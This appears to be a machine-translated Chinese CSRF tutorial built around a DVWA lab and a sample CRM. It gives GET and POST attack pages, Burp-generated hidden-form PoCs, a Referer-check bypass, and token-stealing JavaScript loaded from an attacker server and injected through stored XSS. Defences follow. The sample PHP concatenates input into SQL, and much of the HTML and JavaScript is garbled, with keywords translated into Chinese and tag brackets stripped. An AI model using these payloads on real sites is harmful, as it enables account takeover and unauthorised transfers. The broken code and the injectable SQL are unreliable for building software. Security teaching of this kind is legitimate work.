05-CSRF
1 CSRF概述
1.1 概述
CSRF(跨站请求伪造) 跨站请求伪造,也称为一键攻击,通常缩写为CSRF 或XSRF。
CSRF攻击是一种强制用户在当前登录的浏览器上发送恶意请求的攻击技术。与利用用户对给定网站的信任的XSS 相比,CSRF 利用网站对用户Web 浏览器的信任。
攻击者将受害者引诱至第三方网站,并向目标网站发送跨站请求。受害者利用在被攻击网站上获得的注册凭据绕过后台用户验证并冒充用户,达到在被攻击网站上执行操作的目的。
例如,攻击者可以将链接发送到社交媒体网站,并要求受害者单击该链接以查看特定照片。然而,这个链接实际上是一个虚假请求,它向受害者登录的银行账户发送转账请求,而受害者并不知道他们的账户已被攻击者入侵。
1.2 原理
前提:
用户必须登录该站点并保持登录状态。欺骗链接地址可以诱骗用户点击链接,找到目标用户组,并将链接发送给该用户组。无论钓鱼邮件或短信使用何种方式,用户都必须在同一浏览器上点击发送的链接地址。
原则:
攻击者构造后端请求地址并诱使用户点击它或以某种方式自动发起请求。如果用户登录了,后端就认为用户正在交互,并执行相应的逻辑。
案例一:登录a网站实现转发功能(检索请求),在同一浏览器页面点击b网站访问图片。该图像底层的代码包含对网站a 的传输请求。它会成功的。
案例2:登录a网站实现转发功能(post请求),然后在同一浏览器中访问b网站。 post请求内容被隐藏,页面只有一次提交。点击“何时”,A网站将转账100万元。
1.3 类型
1) 攻击性攻击类型
受害者访问a.com并在浏览器中留下a.com登录状态(例如cookie)。 攻击者诱骗受害者访问网站b.com。网站b.com 存在访问a.com 的恶意代码。当使用.com接口(删除/添加/修改等)时,浏览器的请求标头会默认包含来自a.com网站的cookie。当受害者点击b.com 时,b.com 使用a.com 的登录凭据。com 通过冒充受害用户在a.com 上执行恶意操作。
2)被动-攻击性
攻击者向a.com发布包含恶意链接的帖子或评论(向a.com提交包含添加、删除和更改的定向img/form/a标签)。当另一个登录的受害者点击评论中的恶意链接时,攻击者会使用受害者的登录凭据发起CSRF 攻击,其中包括未经授权的使用来发起恶意添加、删除和更改,但不会窃取受害者的个人信息。
2 使用
2.1 get类型
对于客户关系管理系统(网站a),添加新用户请求。
http://192.168.190.133/crm/php/add.php?account=test02password=123456name=张三
# 或者是汇款、删除用户等一系列破坏性操作。
攻击者服务器网页代码:
!DOCTYPE html
html lang=\’en\’
头
元字符集=\’UTF-8\’
元名称=\’视口\’内容=\’宽度=设备宽度,初始比例=1.0\’
title 可全国运营/Title
风格
{
文本装饰: 无;
}
/风格
/头
身体
a href=\’http://192.168.190.133/crm/php/add.php?account=test02password=123456name=张三\’
img src=\’https://img1.baidu.com/it/u=342277134,1682059924fm=253fmt=autoapp=120f=JPEG?w=750h=500\’
您可以飞往全国各地。单击此处添加V/p
/A
/身体
/html
2.2 post类型
特征:
1)攻击通常是针对第三方网站发起的,而不是针对被攻击的网站(被攻击的网站无法阻止攻击的发生)。
2)这种攻击使用受害者在目标网站上的登录凭据来冒充受害者并执行除了窃取数据之外的操作。
3)在整个攻击过程中,攻击者无法获取受害者的登录凭据,只能进行滥用。
4) 夸张地说,请求可以通过多种不同方式发出:图像URL、超链接、CORS、表单等。有些请求直接嵌入到第三方论坛或文章中,使得它们难以跟踪。
1)修改发帖请求的附加功能
?php
//文件包含:
包括“dbUtil.php”。
//接收表单数据
$Account=$_POST[\’帐户\’];
$password=$_POST[\’密码\’];
$name=$_POST[\’name\’];
//账号不能重复
$sql=\’select * from userinfo where account=\’$account\’;\’;
$arr=queryOne($sql);
如果(计数($arr)){
echo \’帐户已存在。无法添加新的\’;
}除此之外{
$sql=\’插入用户信息(帐户,密码,名称) value(\’$帐户\’,\’$密码\’,\’$名称\’);\’;
executeSql($sql); //新执行
echo \’添加成功\’;
}
?
2)请求后Burp捕获
右键poc(用于检查是否存在CSRF(跨站请求伪造)漏洞)
4)查看生成的POC代码
5) 将上述POC代码复制到您的攻击页面。单击页面后,手动单击以下按钮之一:这与提交post 请求相同。
!DOCTYPE html
html lang=\’en\’
头
元字符集=\’UTF-8\’
元名称=\’视口\’内容=\’宽度=设备宽度,初始比例=1.0\’
title 可全国运营/Title
风格
{
文本装饰: 无;
}
/风格
/头
身体
a href=\’http://192.168.190.133/crm/php/add.php?account=test02password=123456name=张三\’
img src=\’https://img1.baidu.com/it/u=342277134,1682059924fm=253fmt=autoapp=120f=JPEG?w=750h=500\’
表单操作=\’http://192.168.190.133/crm/php/add.php\’方法=\’POST\’
输入类型=\’隐藏\’名称=\’帐户\’值=\’test12\’/
输入类型=\’隐藏\’名称=\’密码\’值=\’123\’/
输入类型=\’隐藏\’名称=\’名称\’值=\’test12\’/
input type=\’提交\’ value=\’可以飞全国各地。单击此处添加V\’/
/形状
/A
/身体
/html
POST 类型的攻击通常比GET 更严格一些,但复杂性仍然较低。个人网站、博客或页面被黑客上传的网站都可能成为攻击源。仅仅允许POST并不能保证后端接口的安全。
3 XSS与CSRF区别
1)信任方向不一致。
XSS:利用用户对服务器的信任CSRF:利用服务器对用户的信任冒充恶意用户发送合法请求
2) 代码存储在不同的位置。
XSS恶意代码:存储在目标服务器上,但恶意代码运行在用户的浏览器上CSRF代码:存储在攻击者的服务器上,代码攻击的目标是目标站点的服务器
3) 结果会有所不同
XSS:获取cookie等用户信息或控制用户浏览器。 CSRF:更新、删除或更改某些用户的机密或商业信息。
4 CSRF应用场景
1)转账功能,用户A在支付宝上进行一定的支付。攻击者小黑使用变换函数来伪造链接。当用户A点击该链接时,攻击就完成了。最终,攻击者小黑收到了用户A的特定转账。
2)更改用户收货地址用户A已在电商系统下单并付款,但希望更改收货地址。这时,攻击者小黑发送了伪造的CSRF链接。该链接的功能是更改用户的送货地址。当用户A点击该链接时,攻击就完成了。最终,攻击者小黑收到了用户A购买的产品。
5 防御
5.1 DVWA靶场部署
1. 更改配置文件名。
DVWA/config/config.inc.php.dist 更改为DVWA/config/config.inc.php。
2.更改数据库帐户密码DVWA/config/config.inc.php。
$_DVWA[ \’db_server\’ ]=\’127.0.0.1\’;
$_DVWA[ \’db_database\’ ]=\’dvwa\’;
$_DVWA[ \’db_user\’ ]=\’root\’;
$_DVWA[ \’db_password\’ ]=\’666888\’;
3. 访问Dwva http://IP/DVWA/。
4、修改配置文件/lampp/etc/php.ini。
4.1 将894allow_url_fopen=关闭更改为894allow_url_fopen=开启
4.2 将898allow_url_include=关更改为898allow_url_include=开
4.3 重新启动灯泡
5.授予写权限
chmod a+w /opt/lampp/htdocs/DVWA/hackable/uploads/
chmod -R a+w /opt/lampp/htdocs/DVWA/external/phpids/0.6/lib/IDS/tmp
chmod a+w /opt/lampp/htdocs/DVWA/config
6. 创建数据库。单击创建/重置数据库。
7.登录dvwa http://IP/DVWA/login.php。
管理员密码
8.安全级别DVWA安全变更
低低
缓和
高高
这不可能
必须提交
访问页面:
5.2 中级防御
5.2.1 修改级别为中级
5.2.2 攻击
1) 使用DVWA-CSRF 更改密码
2)Burp抓包
3) 麻子
4) 将其复制到您的服务器并远程访问该地址。
html
!– CSRF PoC – 由Burp Suite Professional 生成–
身体
scripthistory.pushState(\’\’, \’\’, \’/\’)/script
表单操作=\’http://mycrm.com/DVWA/vulnerability/csrf/\’
输入类型=\’隐藏\’名称=\’密码#95;新\’值=\’444\’/
输入类型=\’隐藏\’名称=\’密码#95;conf\’值=\’444\’/
输入类型=\’隐藏\’名称=\’更改\’值=\’更改\’/
input type=\’提交\’ value=\’提交请求\’ /
/形状
/身体
/html
5)失败(对于中级玩家)
7)抓包并显示(类似如下)
8)查看源代码
# 在Referer字段中,查找Server_Name(即主机IP或域名)字段的值。如果存在,则满足条件。
#如果要攻击的话,两者是不同的。
if( strips( $_SERVER[ \’HTTP_REFERER\’ ] ,$_SERVER[ \’SERVER_NAME\’ ]) !==false ) {
5.2.3 防御
if (isset($_SERVER[\’HTTP_REFERER\’]) 和@$_SERVER[\’SERVER_NAME\’] !=\’null\’ 且$_SERVER[\’SERVER_NAME\’]==\’mycrm.com\’ 和@$_SERVER[\’HTTP_ORIGIN\’] !=\’null\’ 和$_SERVER[\’HTTP_ORIGIN\’]==\’http://mycrm.com\’){
//代码文本
通过
}除此之外{
echo \’更改异常。检测到。点击修复问题\’;
}
5.2.4 绕过
# 当攻击者控制一个页面并对其进行欺骗时,他们会故意将该页面命名为包含目标站点的域名地址。
mycrm.com.html
5.3 高级防御
5.3.1 修改级别为高级
5.3.2 攻击
1) 使用DVWA-CSRF 更改密码
2)抓包
3) 麻子
html
!– CSRF PoC – 由Burp Suite Professional 生成–
身体
scripthistory.pushState(\’\’, \’\’, \’/\’)/script
表单操作=\’http://mycrm.com/DVWA/vulnerability/csrf/\’
输入类型=\’隐藏\’名称=\’密码#95;新\’值=\’666\’/
输入类型=\’隐藏\’名称=\’密码#95;conf\’值=\’666\’/
输入类型=\’隐藏\’名称=\’更改\’值=\’更改\’/
输入类型=\’隐藏\’名称=\’user#95;令牌\’值=\’a10bc96b4041bf429fa695ce737ecded\’/
input type=\’提交\’ value=\’提交请求\’ /
/形状
/身体
/html
4) 执行后,不会出现确认密码是否修改成功的提示信息。
5.3.3 原理
**原理:** 使用token机制保证用户的请求是唯一的。这可以防止CSRF 攻击。
**Token:**Token可以是用户名+服务器时间、用户ID+网卡Mac、用户名+签名的加密字符串,有特定的有效期,也可以有不同的值。每个请求都是一样的。 Token加密可以使用对称加密或者非对称加密,但这完全取决于Token认证服务器的业务需求。在使用过程中,会话状态通常根据请求的cookie 字段进行维护。这是HTTP 无状态的理想解决方案。您可以选择令牌是否保持状态。如果需要维护状态,可以选择使用服务器存储解决方案(类似于会话)。如果不需要维护状态,只需解密token就可以完成验证(服务器必须解密)。每次)。此外,令牌值通常通过GET 或POST 请求的参数直接发送到服务器,而不是请求标头中的cookie。
存储令牌或会话:消耗存储空间,但不消耗解密CPU资源。解密token:不消耗存储空间,但解密操作会消耗CPU资源(一般采用对称加密;非对称加密消耗资源较多)。
5.3.4 防御
令牌不一致
5.3.5 绕过
攻击令牌必须与页面生成的令牌相同。
1)当您访问CSRF页面时,您可以在页面的源代码中看到生成的令牌。
表单操作=\’#\’方法=\’GET\’
新密码:br/
输入类型=\’密码\’ AUTOCOMPLETE=\’关闭\’ 名称=\’password_new\’br /
请确认新密码:br/
输入类型=\’密码\’ AUTOCOMPLETE=\’关闭\’ 名称=\’password_conf\’br /
br/
输入类型=\’提交\’值=\’更改\’名称=\’更改\’
输入类型=\’隐藏\’名称=\’user_token\’值=\’e7fb6143cc6416fbe7f07d7f90fbb534\’/
/形状
2)当再次访问CSRF页面时,生成的token的值发生了变化。可以看到DVWA每次生成token的机制都不一样。
3)清关计划的核心是向http://mycrm.com/dvwa/vulnerability/csrf/页面发出请求,并从响应中获取token(可以使用正则表达式提取)。通过在http://mycrm.com/dvwa/vulnerability/csrf/?user_token=TOKENpassword_new=PASSpassword_conf=PASSChange=Change 页面上输入令牌和新密码来完成密码更改。
4) 首先,构建Javascript 本机代码来发送AJAX 请求。
让tokenURL=\’http://mycrm.com/DVWA/vulnerability/csrf/\’
变量计数=0;
xmlHttp=新的XMLHttpRequest()
xmlHttp.onreadystatechange=函数(){
if(xmlHttp.readyState==4 xmlHttp.status==200){
//获取请求响应并使用正则表达式从响应中提取令牌
var text=xmlHttp.responseText;
var regex=/user_token\\\’ value\\=\\\'(.*?)\\\’ \\/\\/;
var match=text.match(regex);
//警报(匹配[1]);
var 令牌=匹配[1];
var changeUrl=\’http://mycrm.com/DVWA/vulnerability/csrf/?user_token=\’+token+\’password_new=777password_conf=777Change=更改\’;
如果(计数==0){
count=1; //只发送一次。否则会多次发送。
xmlHttp.open(\’GET\’,changeUrl,false); //false 表示同步发送。
xmlHttp.send();
}
}
}
xmlHttp.open(\’GET\’,tokenURL, false);
xmlHttp.send();
5) 将上述JavaScript 代码放置在您的攻击服务器上(例如http://192.168.190.134/csrf.js)。
6)想办法将上述JS代码嵌入到攻击者的服务器上。 (无法达到更高的值)
脚本src=\’http://192.168.190.134/woniu/csrf.js\’/script
7) 调整至较低水平
8)利用xss存储漏洞实现
9) 将级别调高
10)点击xss(store)抓包。
11)验证,密码777成功。
5.4 总结防御
(1)避免以明文方式显示URL中具体操作参数的内容。
(2) 使用Synchronizer Token检查客户端是否请求
包含令牌及其有效性;(常用的做法,并且保证每次token的值完全随机且每次都不同)
(3)检查Referer Header,拒绝来自非本网站的直接URL请求。
(4)不要在客户端保存敏感信息(比如身份认证信息);
(5)设置会话过期机制,比如20分钟无操作,直接登录超时退出;
(6)敏感信息的修改时需要对身份进行二次确认,比如修改账号时,需要判断旧密码;也可以使用动态验证码(生成在页面的隐藏域中) <input type=\”hidden\” value=\”xT7p9z\”>
(7)避免交叉漏洞, 如XSS等
(8)禁止跨域访问
(9)在响应中设置CSP(Content-Security-Policy)内容安全策略
防御:
1.尽量使用POST
2.加入验证码(确保是用户行为而不是黑客行为)
3.验证referer(发送请求的站点地址,添加拦截器检查referer,但是也不是万无一失,因为某些浏览器可以篡改referer)
4.验证Anti CSRF Token(可以在头,也可以在form中)
5.加入自定义Header
#以上关于CSRF漏洞攻击的相关内容来源网络仅供参考,相关信息请以官方公告为准!
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93211.html